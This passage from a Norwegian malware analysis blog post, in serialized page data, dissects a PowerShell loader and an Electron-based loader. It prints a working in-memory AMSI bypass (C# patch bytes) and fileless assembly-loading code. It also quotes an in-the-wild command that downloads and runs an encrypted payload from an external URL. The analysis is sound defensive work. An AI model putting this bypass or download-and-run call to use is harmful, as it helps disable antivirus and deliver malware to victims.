funnet",[1424,2002,2003,2007],{},[1439,2004,2005],{},[568,2006,1493],{},[1439,2008,2009],{},"26 / 61 (på analysetidspunktet)",[1424,2011,2012,2017],{},[1439,2013,2014],{},[568,2015,2016],{},"Trusseletiketter:",[1439,2018,2019,647,2022,647,2025,647,2027],{},[579,2020,2021],{},"trojan",[579,2023,2024],{},"downloader",[579,2026,1706],{},[579,2028,2029],{},"agentb",[526,2031,2032,2033,2036],{},"Selv om det bare er en ",[579,2034,2035],{},".bat","-fil, unngår skriptet mange statiske deteksjoner og lener seg tungt på living-off-the-land-teknikker som PowerShell for å laste ned og kjøre obfuskerte og krypterte payloads.",[741,2038,2040,2041,1140],{"id":2039},"_42-amsi-bypass-teknikk-klasse-gofor4msi","4.2 AMSI Bypass-teknikk (klasse: ",[579,2042,2043],{},"gofor4msi",[526,2045,747],{},[526,2047,2048],{},"En av de første forsvarsmekanismene SharpLoader omgår, er AMSI, Anti-Malware Scan Interface, en Microsoft-funksjon integrert i skriptmotorer som PowerShell og Windows Script Host for å skanne innhold i sanntid etter mistenkelig atferd. Malware-utviklere forsøker ofte å omgå AMSI for å unngå deteksjon fra endpoint-beskyttelse.",[526,2050,2051,2052,2055,2056,2059,2060,2063,2064,2067,2068,2071],{},"I SharpLoader implementeres AMSI-bypassen gjennom ",[568,2053,2054],{},"direkte in-memory-patching"," av funksjonen ",[579,2057,2058],{},"AmsiScanBuffer"," i ",[579,2061,2062],{},"amsi.dll",". Denne funksjonen har normalt ansvaret for å analysere skriptinnhold og returnere en resultatkode som sier om innholdet er mistenkelig (",[579,2065,2066],{},"AMSI_RESULT_DETECTED",") eller trygt (",[579,2069,2070],{},"AMSI_RESULT_CLEAN",").",[526,2073,2074],{},"Den aktuelle koden for in-memory-patching er:",[616,2076,2080],{"className":2077,"code":2078,"language":2079,"meta":530,"style":530},"language-csharp shiki shiki-themes github-light github-dark","var lib = Win32.LoadLibrary(\"amsi.dll\");\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\nMarshal.Copy(patch, 0, addr, patch.Length);\n","csharp",[579,2081,2082,2087,2092,2098],{"__ignoreMap":530},[1710,2083,2084],{"class":1712,"line":1713},[1710,2085,2086],{},"var lib = Win32.LoadLibrary(\"amsi.dll\");\n",[1710,2088,2089],{"class":1712,"line":531},[1710,2090,2091],{},"var addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\n",[1710,2093,2095],{"class":1712,"line":2094},3,[1710,2096,2097],{},"Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\n",[1710,2099,2101],{"class":1712,"line":2100},4,[1710,2102,2103],{},"Marshal.Copy(patch, 0, addr, patch.Length);\n",[526,2105,2106],{},"Sekvensen utfører følgende steg:",[2108,2109,2110,2119,2130,2140],"ol",{},[634,2111,2112,2115,2116,614],{},[568,2113,2114],{},"Last AMSI-DLL-en"," inn i prosessen med ",[579,2117,2118],{},"LoadLibrary(\"amsi.dll\")",[634,2120,2121,2124,2125,611,2127,614],{},[568,2122,2123],{},"Slå opp minneadressen"," til funksjonen ",[579,2126,2058],{},[579,2128,2129],{},"GetProcAddress()",[634,2131,2132,2135,2136,2139],{},[568,2133,2134],{},"Endre minnebeskyttelsen"," for adressen med ",[579,2137,2138],{},"VirtualProtect()"," slik at den blir skrivbar.",[634,2141,2142,1283,2145,2148],{},[568,2143,2144],{},"Overskriv starten av funksjonen",[579,2146,2147],{},"Marshal.Copy()"," og en liten shellcode-patch.",[526,2150,2151],{},"Patchen som brukes på 64-bits systemer, er:",[616,2153,2155],{"className":2077,"code":2154,"language":2079,"meta":530,"style":530},"static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\n",[579,2156,2157],{"__ignoreMap":530},[1710,2158,2159],{"class":1712,"line":1713},[1710,2160,2154],{},[526,2162,2163],{},"Dette tilsvarer følgende instruksjoner:",[631,2165,2166,2175],{},[634,2167,2168,2171,2172],{},[579,2169,2170],{},"mov eax, 0x80070057"," → setter returkoden til Windows-feilkoden ",[579,2173,2174],{},"E_INVALIDARG",[634,2176,2177,2180],{},[579,2178,2179],{},"ret"," → returnerer umiddelbart fra funksjonen",[526,2182,2183,2184,2186],{},"I praksis gjør dette at ",[579,2185,2058],{}," feiler stille og returnerer et ikke-deteksjonsresultat, slik at AMSI-sjekkene nøytraliseres. Malwaren kan nå kjøre skript eller .NET-kode som ellers ville utløst antivirusvarsler.",[526,2188,2189],{},"Kjøres koden på et 32-bits system, brukes en annen patch:",[616,2191,2193],{"className":2077,"code":2192,"language":2079,"meta":530,"style":530},"static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\n",[579,2194,2195],{"__ignoreMap":530},[1710,2196,2197],{"class":1712,"line":1713},[1710,2198,2192],{},[526,2200,2201],{},"Den har samme mål, å tvinge frem et rent resultat, men er tilpasset x86-kallkonvensjonen.",[526,2203,2204,2205,647,2208,586,2211,2214],{},"Bruk av rå P/Invoke-kall som ",[579,2206,2207],{},"LoadLibrary",[579,2209,2210],{},"GetProcAddress",[579,2212,2213],{},"VirtualProtect"," gjør at patchingen kan skje dynamisk og uten å kalle høynivå-API-er som EDR-verktøy kan overvåke. Metoden er kompakt, effektiv og etterlater minimalt med forensiske artefakter.",[526,2216,2217,2218,2221],{},"Kort sagt er denne AMSI-bypass-teknikken et ",[568,2219,2220],{},"lavnivåangrep rettet direkte mot antivirusgrensesnittet i minnet",", gjennomført på millisekunder under kjøring. Det er et slående eksempel på hvorfor atferdsovervåking og minneinspeksjon er avgjørende i moderne endpoint-forsvar.",[741,2223,2225],{"id":2224},"_43-håndtering-av-stage-2-payloaden","4.3 Håndtering av stage 2-payloaden",[526,2227,747],{},[526,2229,2230,2231,614],{},"Når AMSI-bypassen er ferdig, går loaderen videre med å hente og klargjøre payloaden i andre trinn. Denne payloaden ligger ikke innebygd i loaderen selv, men hentes enten fra en ekstern server eller leses fra disk, avhengig av hvordan loaderen kalles via parameteren ",[579,2232,2233],{},"$location",[526,2235,2236,2237,2240,2241,2244,2245,2248,2249,2252,2253,614],{},"Begynner plasseringen med ",[579,2238,2239],{},"http",", tolkes den som en URL, og loaderen bruker ",[579,2242,2243],{},"Get_Stage2()"," til å laste ned payloaden via ",[579,2246,2247],{},"HttpWebRequest",". Er det en lokal sti, leser ",[579,2250,2251],{},"Get_Stage2disk()"," innholdet direkte fra filsystemet. I begge tilfeller er det forventede filinnholdet en blob som er ",[568,2254,2255],{},"Base64-kodet, GZip-komprimert og AES-kryptert",[526,2257,2258,2259,2262],{},"Loaderen kjører deretter en ",[568,2260,2261],{},"firetrinns pipeline for dekoding og dekryptering",", i sin helhet i minnet:",[2108,2264,2265,2271,2281,2291],{},[634,2266,2267,2270],{},[568,2268,2269],{},"Base64-dekoding",": Gjør den kodede strengen om til rå bytes. Steget skal skjule det faktiske binærinnholdet for verktøy som gjør statisk inspeksjon, og hindrer enkel mønstergjenkjenning.",[634,2272,2273,2276,2277,2280],{},[568,2274,2275],{},"GZip-dekomprimering",": De dekodede bytene sendes til en ",[579,2278,2279],{},"GZipStream",", som pakker ut payloaden. Komprimeringen reduserer filstørrelsen og legger til enda et obfuskeringslag.",[634,2282,2283,2286,2287,2290],{},[568,2284,2285],{},"AES-dekryptering",": De komprimerte bytene dekrypteres med AES (Rijndael) i CBC-modus. Nøkkelen utledes ved kjøring fra passordet brukeren oppgir, via SHA-256-hashing kombinert med PBKDF2 (",[579,2288,2289],{},"Rfc2898DeriveBytes",") og et statisk salt.",[634,2292,2293,2296],{},[568,2294,2295],{},"Fjerning av salt",": Det dekrypterte resultatet inneholder fortsatt et salt-prefiks med fast lengde (4 bytes). Disse bytene fjernes manuelt for å få den rene binære bloben som utgjør en gyldig .NET-assembly.",[526,2298,2299],{},"Dekrypteringspipelinen kjøres slik:",[616,2301,2303],{"className":2077,"code":2302,"language":2079,"meta":530,"style":530},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[579,2304,2305,2310],{"__ignoreMap":530},[1710,2306,2307],{"class":1712,"line":1713},[1710,2308,2309],{},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\n",[1710,2311,2312],{"class":1712,"line":531},[1710,2313,2314],{},"byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[526,2316,2317,2318,2321],{},"Her er ",[579,2319,2320],{},"AES_Decrypt()"," en egenskrevet funksjon som pakker inn Rijndael-algoritmen, konfigurert med en 256-bits nøkkel og en 128-bits IV (initialiseringsvektor), begge utledet fra passordet.",[526,2323,2324],{},[568,2325,2326],{},"Sentrale designobservasjoner:",[631,2328,2329,2332,2335],{},[634,2330,2331],{},"Bruken av AES-CBC med PBKDF2 gjør det ikke-trivielt å brute force passordet.",[634,2333,2334],{},"Siden dekrypteringen skjer i minnet, skrives aldri mellomresultater til disk, noe som reduserer de forensiske artefaktene.",[634,2336,2337],{},"Oppgis feil passord, feiler dekrypteringen stille eller produserer ugyldige data, noe som kan gi mislykket kjøring eller unntak som er vanskelige å spore.",[526,2339,2340],{},"Kort sagt hever denne flertrinnshåndteringen av payloaden lista betraktelig for både signatur- og heuristikkbasert statisk deteksjon. Uten enten live kjøring eller grundig inspeksjon av loaderens atferd er det lite sannsynlig at forsvarere avdekker den innebygde payloaden uten også å kjenne passordet og den eksakte dekodingslogikken.",[741,2342,2344],{"id":2343},"_44-dynamisk-lasting-av-assembly","4.4 Dynamisk lasting av assembly",[526,2346,747],{},[526,2348,2349],{},"Når payloaden i andre trinn er dekryptert, utgjør byte-arrayen som kommer ut, en gyldig .NET-assembly. I stedet for å skrive denne assemblyen til disk, en velkjent indikator for antivirus- og EDR-systemer, kjører SharpLoader den direkte i minnet med reflection:",[616,2351,2353],{"className":2077,"code":2352,"language":2079,"meta":530,"style":530},"Assembly a = Assembly.Load(bin);\na.EntryPoint.Invoke(null, new object[] { commands });\n",[579,2354,2355,2360],{"__ignoreMap":530},[1710,2356,2357],{"class":1712,"line":1713},[1710,2358,2359],{},"Assembly a = Assembly.Load(bin);\n",[1710,2361,2362],{"class":1712,"line":531},[1710,2363,2364],{},"a.EntryPoint.Invoke(null, new object[] { commands });\n",[526,2366,2367,2368,2371],{},"Teknikken kalles ",[568,2369,2370],{},"fileless execution",". Den er svært unnvikende fordi den:",[631,2373,2374,2377,2380],{},[634,2375,2376],{},"Unngår å røre disken og etterlater ingen filbaserte IOC-er (indicators of compromise)",[634,2378,2379],{},"Gjør tradisjonell forensisk innsamling vanskeligere, siden ingen binary lagres på disk",[634,2381,2382],{},"Unngår statisk signaturbasert deteksjon, siden AV-motorer ofte bygger på å skanne filer",[526,2384,2385,2386,1565,2389,2392],{},"Er ikke ",[579,2387,2388],{},"EntryPoint",[579,2390,2391],{},"static",", har loaderen en fallback-logikk:",[616,2394,2396],{"className":2077,"code":2395,"language":2079,"meta":530,"style":530},"MethodInfo method = a.EntryPoint;\nif (method != null)\n{\n    object o = a.CreateInstance(method.Name);\n    method.Invoke(o, null);\n}\n",[579,2397,2398,2403,2408,2413,2418,2424],{"__ignoreMap":530},[1710,2399,2400],{"class":1712,"line":1713},[1710,2401,2402],{},"MethodInfo method = a.EntryPoint;\n",[1710,2404,2405],{"class":1712,"line":531},[1710,2406,2407],{},"if (method != null)\n",[1710,2409,2410],{"class":1712,"line":2094},[1710,2411,2412],{},"{\n",[1710,2414,2415],{"class":1712,"line":2100},[1710,2416,2417],{},"    object o = a.CreateInstance(method.Name);\n",[1710,2419,2421],{"class":1712,"line":2420},5,[1710,2422,2423],{},"    method.Invoke(o, null);\n",[1710,2425,2427],{"class":1712,"line":2426},6,[1710,2428,2429],{},"}\n",[526,2431,2432,2433,2436],{},"Det sikrer kompatibilitet med assemblies som krever et instansiert objekt for å kunne kjøre (for eksempel ",[579,2434,2435],{},"public int Main()"," inne i en klasseinstans). Koden oppretter dynamisk en instans av klassen og kaller deretter entry point-metoden.",[526,2438,2439],{},"Kombinert med AMSI-bypassen og in-memory-dekrypteringen leverer denne mekanismen den endelige payloaden til kjøring på en stillegående, helt filløs måte, et kjennetegn på moderne, unnvikende malware.",[741,2441,2443],{"id":2442},"_45-kommandolinjeparametere-og-fleksibilitet","4.5 Kommandolinjeparametere og fleksibilitet",[526,2445,747],{},[526,2447,2448,2449,2451],{},"PowerShell-funksjonen ",[579,2450,1918],{}," er laget for å fungere som en fleksibel wrapper for vilkårlige .NET-payloads. Den støtter dynamisk inndata for både payload-plassering og argumenter, slik at én og samme loader-instans kan gjenbrukes på tvers av flere operasjoner eller kampanjer.",[526,2453,2454],{},[568,2455,2456],{},"Støttede parametere:",[631,2458,2459,2465,2471,2491],{},[634,2460,2461,2464],{},[579,2462,2463],{},"-location"," (obligatorisk): Angir enten en URL eller en lokal filsti til den krypterte stage two-payloaden.",[634,2466,2467,2470],{},[579,2468,2469],{},"-password"," (obligatorisk): Brukes til å utlede AES-dekrypteringsnøkkelen.",[634,2472,2473,647,2476,647,2479,2482,2483,2486,2487,2490],{},[579,2474,2475],{},"-argument",[579,2477,2478],{},"-argument2",[579,2480,2481],{},"-argument3"," (valgfrie): Disse sendes direkte videre til ",[579,2484,2485],{},"Main()","-metoden i ",[579,2488,2489],{},".NET","-assemblyen via reflection.",[634,2492,2493,2496],{},[579,2494,2495],{},"-noArgs",": Utløser kjøring uten at noen parametere sendes til payloaden i andre trinn.",[526,2498,2499],{},"Internt samles argumentene inn og sendes videre slik:",[616,2501,2503],{"className":1704,"code":2502,"language":1706,"meta":530,"style":530},"object[] cmd = args.Skip(2).ToArray();\na.EntryPoint.Invoke(null, new object[] { cmd });\n",[579,2504,2505,2510],{"__ignoreMap":530},[1710,2506,2507],{"class":1712,"line":1713},[1710,2508,2509],{},"object[] cmd = args.Skip(2).ToArray();\n",[1710,2511,2512],{"class":1712,"line":531},[1710,2513,2514],{},"a.EntryPoint.Invoke(null, new object[] { cmd });\n",[526,2516,2517],{},"Det betyr at .NET-payloaden forventes å ha en signatur som:",[616,2519,2521],{"className":2077,"code":2520,"language":2079,"meta":530,"style":530},"static void Main(string[] args)\n",[579,2522,2523],{"__ignoreMap":530},[1710,2524,2525],{"class":1712,"line":1713},[1710,2526,2520],{},[526,2528,2529,2530,2532],{},"ellers faller den pent tilbake til den parameterløse ",[579,2531,2485],{},"-varianten via fallback-logikken. Denne atferden lar red teams eller malware-utviklere lage allsidige andretrinn som kan utføre ulike operasjoner avhengig av inndataene, for eksempel å starte en implant, samle inn systeminformasjon eller sette i gang C2-kommunikasjon.",[526,2534,2535],{},"Slik modularitet og konfigurerbarhet er sentrale egenskaper ved avanserte malware-rammeverk, og de illustrerer hvordan skriptbaserte loadere kan opptre som svært tilpasningsdyktige kjøringsmiljøer for payloads nedstrøms.",[741,2537,2539],{"id":2538},"_46-eksempel-på-bruk-i-praksis","4.6 Eksempel på bruk i praksis",[526,2541,747],{},[526,2543,2544],{},"For å vise hvordan SharpLoader kjøres i en virkelig kampanje, se på følgende kall som er observert i det fri:",[616,2546,2548],{"className":1704,"code":2547,"language":1706,"meta":530,"style":530},"Invoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\n",[579,2549,2550],{"__ignoreMap":530},[1710,2551,2552],{"class":1712,"line":1713},[1710,2553,2547],{},[526,2555,2556],{},"Eksempelet illustrerer det typiske bruksmønsteret for SharpLoader:",[631,2558,2559,2573,2585,2595],{},[634,2560,2561,2564,2565,2568,2569,2572],{},[568,2562,2563],{},"Location-argument",": URL-en peker på en ekstern server som hoster ",[579,2566,2567],{},"calc.enc",", en skjult payload for andre trinn. Endepunktet ligger under en legitimt utseende ",[579,2570,2571],{},".well-known","-katalog, som ofte brukes til HTTPS-sertifikatvalidering, og det hjelper URL-en å gli inn i legitim webtrafikk.",[634,2574,2575,1000,2578,2580,2581,2584],{},[568,2576,2577],{},"Payload-egenskaper",[579,2579,2567],{}," er en ",[568,2582,2583],{},"trippelobfuskert fil",", Base64-kodet, GZip-komprimert og AES-kryptert. Denne obfuskeringspipelinen gjør payloaden ugjennomtrengelig for de fleste deteksjonsmekanismer med mindre den kjøres og dekrypteres fullt ut i minnet.",[634,2586,2587,2590,2591,2594],{},[568,2588,2589],{},"Password-argument",": Strengen ",[579,2592,2593],{},"UwUFufu1"," brukes ved kjøring til å utlede AES-nøkkelen via SHA-256 og PBKDF2. Uten dette passordet kan payloaden ikke dekrypteres, noe som gjør offline-analyse uten kontekst nesten umulig.",[634,2596,2597,2600,2601,2603],{},[568,2598,2599],{},"Ingen ekstra argumenter",": Flagget ",[579,2602,2495],{}," angir at ingen kommandolinjeparametere sendes til den dekrypterte .NET-assemblyen, noe som utløser standard kjøringsvei.",[526,2605,2606,2607,2610],{},"Denne stillegående kallkjeden fanger kjerneformålet til SharpLoader: ",[568,2608,2609],{},"filløs, tilpasningsdyktig og sikker payload-leveranse"," gjennom enkel PowerShell-syntaks med maksimal obfuskering og unnvikelse.",[741,2612,2614],{"id":2613},"_47-oppsummering","4.7 Oppsummering",[526,2616,747],{},[526,2618,2619,2620,2622],{},"Konstruksjonen ",[579,2621,1918],{}," er et eksempel på en svært raffinert og unnvikende teknikk for malware-staging som utnytter innebygde systemkomponenter, reflection og kryptografi for å operere nesten utelukkende i minnet.",[526,2624,2625],{},[568,2626,2627],{},"Hovedpunkter:",[631,2629,2630,2639,2645,2651],{},[634,2631,2632,2635,2636,2638],{},[568,2633,2634],{},"Omgåelse av AMSI",": Direkte in-memory-patching av ",[579,2637,2058],{}," slår av antivirusinspeksjonen uten å kalle API-er som kan oppdages.",[634,2640,2641,2644],{},[568,2642,2643],{},"Sikker payload-håndtering",": Henting av krypterte og komprimerte stage two-payloads sikrer konfidensialitet og legger til flere lag med unnvikelse.",[634,2646,2647,2650],{},[568,2648,2649],{},"Kjøring bare i minnet",": Dekrypterte payloads skrives aldri til disk, noe som gjør deteksjon med tradisjonelle filbaserte skannere nesten umulig.",[634,2652,2653,2656],{},[568,2654,2655],{},"Modulær og gjenbrukbar arkitektur",": Gjennom PowerShell-parametere kan SharpLoader gjenbrukes fleksibelt på tvers av kampanjer med ulike payloads og ulik atferd ved kjøring.",[557,2658,2660,2661,2663],{"id":2659},"_5-deep-dive-mainexe-electron-basert-malware-loader","5. Deep Dive: ",[579,2662,606],{}," - Electron-basert malware loader",[526,2665,563],{},[526,2667,2668,2669,2671,2672,2675,2676,2678,2679,2681],{},"Under reverse engineering ble det klart at ",[579,2670,606],{},", som Microsoft Defender for Endpoint hadde flagget, ikke var en konvensjonell binary, men en ",[568,2673,2674],{},"Electron-basert malware loader",". Den ble levert inne i et arkiv ved navn ",[579,2677,1852],{},", som ",[579,2680,602],{}," lastet ned og pakket ut ved kjøring. Etter utpakking lignet strukturen og innholdet sterkt på en helt vanlig Electron-applikasjon.",[741,2683,2685],{"id":2684},"_51-å-kjenne-igjen-electron-strukturen","5.1 Å kjenne igjen Electron-strukturen",[526,2687,747],{},[526,2689,2690],{},"Den utpakkede mappen inneholdt filer som:",[631,2692,2693,2704,2712,2718],{},[634,2694,2695,647,2698,647,2701],{},[579,2696,2697],{},"chrome_100_percent.pak",[579,2699,2700],{},"v8_context_snapshot.bin",[579,2702,2703],{},"d3dcompiler_47.dll",[634,2705,2706,586,2709],{},[579,2707,2708],{},"LICENSES.chromium",[579,2710,2711],{},"LICENSES.electron",[634,2713,2714,2715,2717],{},"En stor ",[579,2716,606],{},"-binary (~150 MB)",[634,2719,2720,2721,2723,2724,2726,2727],{},"En ",[579,2722,1862],{},"-mappe med ",[579,2725,1074],{}," og en sekundær binary ",[579,2728,2729],{},"elevate.exe",[526,2731,2732],{},[775,2733],{"alt":2734,"src":2735},"Pakket Windows 64-bits versjon av skrivebordsappen","https://res.cloudinary.com/c4a8/image/upload/v1749796955/blog/pics/electron-app-windows-x64.png",[526,2737,2738,2739,2741],{},"Alt dette er sterke indikasjoner på en Electron-app, som bruker Chromium og Node.js til å pakke JavaScript-baserte skrivebordsapplikasjoner. At ",[579,2740,2729],{}," var til stede, en signert Microsoft-binary som ofte brukes til å eskalere rettigheter, vakte ytterligere mistanke: den kan misbrukes til å starte underprosesser med forhøyede rettigheter.",[741,2743,2745],{"id":2744},"_52-utpakking-og-statisk-analyse-deep-dive","5.2 Utpakking og statisk analyse (Deep Dive)",[526,2747,747],{},[526,2749,2750,2751,2753,2754,2756,2757,2759,2760,2762,2763,2766],{},"I stedet for å kjøre ",[579,2752,606],{}," valgte jeg statisk analyse for å unngå å utløse atferd i sanntid. Mistanken min om at ",[579,2755,606],{}," var bygget med Electron, ble bekreftet da jeg fant ",[579,2758,1074],{},"-filen inne i ",[579,2761,1862],{},"-katalogen. I Electron-apper inneholder dette arkivet all sentral applikasjonslogikk, som JavaScript-filer, konfigurasjon (",[579,2764,2765],{},"package.json",") og ressurser, pakket i et eget format av ytelses- og obfuskeringshensyn.",[526,2768,2769,2772,2773,2776],{},[579,2770,2771],{},".asar","-arkivet er i praksis en skrivebeskyttet, ytelsesoptimalisert container som ligner ",[579,2774,2775],{},".zip",", men er tilpasset Electrons runtime. Det er ikke kryptert, men det obfuskerer tilgangen til koden og gjør statisk analyse vanskeligere så lenge det ikke pakkes ut.",[526,2778,2779,2780,2783],{},"For å pakke det ut brukte jeg det offisielle ",[579,2781,2782],{},"asar","-verktøyet fra npm. Stegene var:",[616,2785,2789],{"className":2786,"code":2787,"language":2788,"meta":530,"style":530},"language-bash shiki shiki-themes github-light github-dark","npm install -g asar\nasar extract app.asar extracted_app\n","bash",[579,2790,2791,2808],{"__ignoreMap":530},[1710,2792,2793,2797,2801,2805],{"class":1712,"line":1713},[1710,2794,2796],{"class":2795},"sScJk","npm",[1710,2798,2800],{"class":2799},"sZZnC"," install",[1710,2802,2804],{"class":2803},"sj4cs"," -g",[1710,2806,2807],{"class":2799}," asar\n",[1710,2809,2810,2812,2815,2818],{"class":1712,"line":531},[1710,2811,2782],{"class":2795},[1710,2813,2814],{"class":2799}," extract",[1710,2816,2817],{"class":2799}," app.asar",[1710,2819,2820],{"class":2799}," extracted_app\n",[526,2822,2823,2824,2827],{},"Kommandoene over pakket innholdet ut til en arbeidsmappe (",[579,2825,2826],{},"extracted_app/","), som avdekket den faktiske JavaScript-applikasjonskoden. Den besto av:",[631,2829,2830,2851,2859],{},[634,2831,2832,647,2835,647,2838,2841,2842,2844,2845,2847,2848,2850],{},[579,2833,2834],{},"jscryter.js",[579,2836,2837],{},"input.js",[579,2839,2840],{},"obf.js",": Disse skriptene utgjør malware-logikken. ",[579,2843,2834],{}," ser ut til å orkestrere payload-leveransen, ",[579,2846,2837],{}," definerer konfigurasjonskonstanter eller kommandologikk, og ",[579,2849,2840],{}," er et kraftig obfuskert skript som sannsynligvis inneholder kjernelogikken i payloaden.",[634,2852,2853,647,2855,2858],{},[579,2854,2765],{},[579,2856,2857],{},"package-lock.json",": Definerer runtime-miljøet",[634,2860,2861,2864,2865,647,2868,647,2871],{},[579,2862,2863],{},"node_modules/",": Inneholder alle avhengigheter som ",[579,2866,2867],{},"axios",[579,2869,2870],{},"adm-zip",[579,2872,2873],{},"child_process",[526,2875,2876,2877,2879,2880,614],{},"Det utpakkede innholdet ga full innsikt i logikken til malwaren uten at den måtte kjøres, noe som var avgjørende for trygg reverse engineering. Dette steget bekreftet at ",[579,2878,606],{}," utelukkende var en runtime-wrapper for de skadelige skriptene som lå skjult inne i ",[579,2881,1074],{},[741,2883,2885],{"id":2884},"_53-hva-den-statiske-analysen-avdekket","5.3. Hva den statiske analysen avdekket",[526,2887,747],{},[526,2889,2890],{},"Ved å inspisere koden manuelt bekreftet jeg at malware-logikken var helt JavaScript-basert og kjørte innenfor Electron-runtimen. Skriptene var laget for å:",[631,2892,2893,2900,2905,2908],{},[634,2894,2895,2896,2899],{},"Laste ned en kryptert payload (",[579,2897,2898],{},"pyth.zip",") fra fallback-URL-er",[634,2901,2902,2903],{},"Pakke ut arkivet med ",[579,2904,2870],{},[634,2906,2907],{},"Gjøre strengerstatning for å injisere bestemte credentials eller lommebokadresser",[634,2909,2910,2911,2913,2914,586,2917],{},"Starte den resulterende Python-filen (",[579,2912,610],{},") via ",[579,2915,2916],{},"child_process.exec()",[579,2918,581],{},[526,2920,2921,2922,2928],{},"Vel så viktig: loaderen inneholdt også logikk for å ",[568,2923,2924,2925,2927],{},"kopiere ",[579,2926,602],{}," til brukerens AppData-katalog"," dersom den ikke allerede lå der, noe som forsterket persistensen og holdt infeksjonsløkken i gang.",[557,2930,2932,2933,2935],{"id":2931},"_6-deep-dive-inputjs-den-krypterte-javascript-payload-loaderen","6. Deep Dive: ",[579,2934,2837],{}," - den krypterte JavaScript-payload-loaderen",[526,2937,563],{},[526,2939,2940,2942],{},[579,2941,2837],{}," er en sentral komponent i malware-kjeden vi analyserte, og fungerer som nav for dekryptering og kjøring av en kryptert JavaScript-payload. Skriptet skjuler kjernefunksjonaliteten sin bak et sterkt krypteringslag og viser først atferden sin under kjøring.",[741,2944,2946],{"id":2945},"_61-krypterings-og-dekrypteringsmekanikk","6.1 Krypterings- og dekrypteringsmekanikk",[526,2948,747],{},[526,2950,2951,2952,2954],{},"Ved første øyekast inneholder ",[579,2953,2837],{}," svært lite lesbar kode. Hovedformålet er likevel å dekryptere og kjøre en stor obfuskert JavaScript-blob som ligger lagret inne i skriptet selv.",[889,2956,2958],{"id":2957},"_611-dekrypteringslogikk","6.1.1 Dekrypteringslogikk",[526,2960,895],{},[526,2962,2963,2964,2967],{},"Skriptet definerer en ",[579,2965,2966],{},"decrypt()","-funksjon som tar fire parametere:",[631,2969,2970,2976,2982,2988],{},[634,2971,2972,2975],{},[579,2973,2974],{},"encdata",": De krypterte Base64-kodede dataene",[634,2977,2978,2981],{},[579,2979,2980],{},"masterkey",": En passphrase i klartekst",[634,2983,2984,2987],{},[579,2985,2986],{},"salt",": Et kryptografisk salt (Base64)",[634,2989,2990,2993],{},[579,2991,2992],{},"iv",": Initialiseringsvektoren for AES-dekryptering (Base64)",[526,2995,2996,2997,3000],{},"Dekrypteringen er implementert med den innebygde ",[579,2998,2999],{},"crypto","-modulen i Node.js. Den går slik:",[2108,3002,3003,3114,3227],{},[634,3004,3005,3008,3009,3088],{},[568,3006,3007],{},"Key Derivation:","\nSkriptet utleder en 256-bits symmetrisk nøkkel med PBKDF2 (Password-Based Key Derivation Function 2):",[616,3010,3014],{"className":3011,"code":3012,"language":3013,"meta":530,"style":530},"language-js shiki shiki-themes github-light github-dark","const key = crypto.pbkdf2Sync(\n  masterkey,\n  Buffer.from(salt, \"base64\"),\n  100000,\n  32,\n  \"sha512\",\n);\n","js",[579,3015,3016,3038,3043,3060,3068,3075,3082],{"__ignoreMap":530},[1710,3017,3018,3022,3025,3028,3032,3035],{"class":1712,"line":1713},[1710,3019,3021],{"class":3020},"szBVR","const",[1710,3023,3024],{"class":2803}," key",[1710,3026,3027],{"class":3020}," =",[1710,3029,3031],{"class":3030},"sVt8B"," crypto.",[1710,3033,3034],{"class":2795},"pbkdf2Sync",[1710,3036,3037],{"class":3030},"(\n",[1710,3039,3040],{"class":1712,"line":531},[1710,3041,3042],{"class":3030},"  masterkey,\n",[1710,3044,3045,3048,3051,3054,3057],{"class":1712,"line":2094},[1710,3046,3047],{"class":3030},"  Buffer.",[1710,3049,3050],{"class":2795},"from",[1710,3052,3053],{"class":3030},"(salt, ",[1710,3055,3056],{"class":2799},"\"base64\"",[1710,3058,3059],{"class":3030},"),\n",[1710,3061,3062,3065],{"class":1712,"line":2100},[1710,3063,3064],{"class":2803},"  100000",[1710,3066,3067],{"class":3030},",\n",[1710,3069,3070,3073],{"class":1712,"line":2420},[1710,3071,3072],{"class":2803},"  32",[1710,3074,3067],{"class":3030},[1710,3076,3077,3080],{"class":1712,"line":2426},[1710,3078,3079],{"class":2799},"  \"sha512\"",[1710,3081,3067],{"class":3030},[1710,3083,3085],{"class":1712,"line":3084},7,[1710,3086,3087],{"class":3030},");\n",[631,3089,3090,3096,3102,3108],{},[634,3091,3092,3095],{},[568,3093,3094],{},"Hash function:"," SHA-512",[634,3097,3098,3101],{},[568,3099,3100],{},"Iterations:"," 100,000",[634,3103,3104,3107],{},[568,3105,3106],{},"Key length:"," 32 bytes (256 bits)",[634,3109,3110,3113],{},[568,3111,3112],{},"Salt:"," Oppgis som Base64-dekodet inndata",[634,3115,3116,3119,3120,3170,3172,3173],{},[568,3117,3118],{},"AES-256-CBC Decryption:","\nDen utledede nøkkelen brukes deretter til å opprette et AES-decipher-objekt:",[616,3121,3123],{"className":3011,"code":3122,"language":3013,"meta":530,"style":530},"const decipher = crypto.createDecipheriv(\n  \"aes-256-cbc\",\n  key,\n  Buffer.from(iv, \"base64\"),\n);\n",[579,3124,3125,3141,3148,3153,3166],{"__ignoreMap":530},[1710,3126,3127,3129,3132,3134,3136,3139],{"class":1712,"line":1713},[1710,3128,3021],{"class":3020},[1710,3130,3131],{"class":2803}," decipher",[1710,3133,3027],{"class":3020},[1710,3135,3031],{"class":3030},[1710,3137,3138],{"class":2795},"createDecipheriv",[1710,3140,3037],{"class":3030},[1710,3142,3143,3146],{"class":1712,"line":531},[1710,3144,3145],{"class":2799},"  \"aes-256-cbc\"",[1710,3147,3067],{"class":3030},[1710,3149,3150],{"class":1712,"line":2094},[1710,3151,3152],{"class":3030},"  